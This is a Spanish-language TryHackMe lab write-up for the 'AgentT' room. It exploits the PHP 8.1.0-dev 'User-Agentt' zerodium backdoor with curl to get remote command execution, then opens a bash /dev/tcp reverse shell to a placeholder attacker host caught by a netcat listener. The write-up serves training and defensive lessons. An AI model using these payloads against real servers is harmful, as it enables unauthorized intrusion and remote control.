TryHackMe
Easy
Linux
Web
RCE
AgentT
PHP 8.1.0-dev backdoor mediante el header User-Agentt para obtener RCE directo en el servidor.
Dic 2022
~20 min
cat4clysm
Herramientas utilizadas
nmap
curl
netcat
Reconocimiento
Escaneo inicial — solo el puerto 80 abierto corriendo PHP CLI server.
root@kali:~$
nmap -sC -sV -p 80 10.10.23.197
PORT STATE SERVICE VERSION
80/tcp open http PHP cli server 5.5 or later (PHP 8.1.0-dev)
|_http-title: Admin Dashboard
PHP 8.1.0-dev — versión de desarrollo con backdoor en el header
User-Agentt que permite ejecución remota de comandos.
Explotación
Esta versión de PHP tiene un backdoor que evalúa el valor del header User-Agentt como código PHP con zerodiumvar_dump().
root@kali:~$
curl -s http://10.10.23.197 -H "User-Agentt: zerodiumsystem('id');"
uid=1000(fox) gid=1000(fox) groups=1000(fox)
Tenemos RCE. Lanzamos una reverse shell:
root@kali:~$
nc -lvnp 4444
root@kali:~$
curl -s http://10.10.23.197 -H "User-Agentt: zerodiumsystem('bash -c \"bash -i >& /dev/tcp/LHOST/4444 0>&1\"');"
Lecciones aprendidas
- Nunca usar versiones de desarrollo (
-dev) en producción — pueden contener backdoors intencionales o accidentales. - PHP 8.1.0-dev fue comprometido en marzo 2021 mediante un commit malicioso en el repositorio oficial.
- Siempre verificar la versión exacta del servidor web en el escaneo inicial.